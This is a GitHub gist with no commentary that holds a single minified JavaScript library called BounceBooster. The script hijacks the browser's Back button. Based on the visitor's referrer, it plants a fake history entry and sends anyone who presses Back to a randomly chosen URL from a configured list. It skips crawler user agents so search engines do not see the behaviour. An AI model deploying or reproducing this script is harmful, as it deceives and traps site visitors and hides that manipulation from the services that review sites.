Skip to content

Instantly share code, notes, and snippets.

@mindbreaker
Created October 16, 2017 15:44
Show Gist options
  • Save mindbreaker/052b34fc1a11c1d0f2f41364630cceb9 to your computer and use it in GitHub Desktop.
Save mindbreaker/052b34fc1a11c1d0f2f41364630cceb9 to your computer and use it in GitHub Desktop.
var BounceBooster={debug:false,ref:"",rules:[{id:"google",condition:function(){return/www\.google\./i.test(BounceBooster.ref)}},{id:"yahoo",condition:function(){return/search\.yahoo\.com/i.test(BounceBooster.ref)}},{id:"bing",condition:function(){return/www\.bing\.com/i.test(BounceBooster.ref)}},{id:"facebook",condition:function(){return/facebook\.com/i.test(BounceBooster.ref)}},{id:"twitter",condition:function(){return/t\.co/i.test(BounceBooster.ref)}},{id:"google_plus",condition:function(){return/plus\.url\.google\.com/i.test(BounceBooster.ref)}},{id:"youtube",condition:function(){return/youtube\.com/i.test(BounceBooster.ref)}},{id:"tumblr",condition:function(){return/tumblr\.com/i.test(BounceBooster.ref)}},{id:"instagram",condition:function(){return/instagram\.com/i.test(BounceBooster.ref)}},{id:"default",condition:function(){if(BounceBooster.ref.length>0){var a=new RegExp("^"+location.protocol+"//"+location.host,"i");return !a.test(BounceBooster.ref)}return true}}],init:function(b){BounceBooster.findReferrer();if(BounceBooster.debug){console.log("DEBUG")}if(window.history&&window.history.pushState){if("rules" in b){for(var a in b.rules){BounceBooster.rules.push({id:a,condition:function(){var e=new RegExp(b.rules[a],"i");return e.test(BounceBooster.ref)}})}}var d=BounceBooster.findRule();if(BounceBooster.debug){console.log("Rule",d)}if(d!==false){if(b["url_"+d]||b.url_default){var c="#bb1958161029033363";if(window.sessionStorage.getItem("bbdone")==null){window.sessionStorage.setItem("bbdone",true);if(BounceBooster.debug){console.log("Done",false)}if(BounceBooster.debug){console.log("Token",c)}history.replaceState(null,null,location.pathname+location.search+c);history.pushState(null,null,location.pathname+location.search)}else{if(BounceBooster.debug){console.log("Done",true)}}setTimeout(function(){window.addEventListener("popstate",function(g){if(BounceBooster.debug){console.log("Poped")}if(location.hash==c){if(BounceBooster.debug){console.log("Token matches")}var f=[];if(b["url_"+d]){f=b["url_"+d]}else{if(b.url_default){f=b.url_default}}window.sessionStorage.removeItem("bbdone");if(typeof f==="function"){f()}else{if(f.length>0){history.replaceState(null,null,location.pathname+location.search);location.replace(BounceBooster.shuffleArray(f).pop())}}}},false)},1000)}}}},shuffleArray:function(b){var e,c,d=b.length;while(d){c=~~(Math.random()*d);e=b[--d];b[d]=b[c];b[c]=e}return b},findRule:function(){for(var a=0;a<BounceBooster.rules.length;a++){if(BounceBooster.rules[a].condition()){return BounceBooster.rules[a].id}}return false},findReferrer:function(){var e={},b=0,c=location.hash.substring(1).split("&");for(var a=0;a<c.length;a++){var d=c[a].split("=");e[d[0]]=d[1];b++}if(b==0||!e.ref){BounceBooster.ref=document.referrer||""}else{BounceBooster.debug=true;BounceBooster.ref=e.ref}}};if(!/(bot|crawl|spider)/i.test(navigator.userAgent||navigator.vendor||window.opera)){if(window.bouncebooster){if("async" in window.bouncebooster){!function(a,b){this[a]=b()}("bouncebooster_init",function(i){var n=[],h,g=false,j=document,b=j.documentElement,m=b.doScroll,a="DOMContentLoaded",c="addEventListener",l="onreadystatechange",e="readyState",o=m?/^loaded|^c/:/^loaded|c/,d=o.test(j[e]);function k(p){d=1;while(p=n.shift()){p()}}j[c]&&j[c](a,h=function(){j.removeEventListener(a,h,g);k()},g);m&&j.attachEvent(l,h=function(){if(/^c/.test(j[e])){j.detachEvent(l,h);k()}});return(i=m?function(f){self!=top?d?f():n.push(f):function(){try{b.doScroll("left")}catch(p){return setTimeout(function(){i(f)},50)}f()}()}:function(f){d?f():n.push(f)})});bouncebooster_init(function(){window.BounceBooster.init(window.bouncebooster)})}else{BounceBooster.init(window.bouncebooster)}}};
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment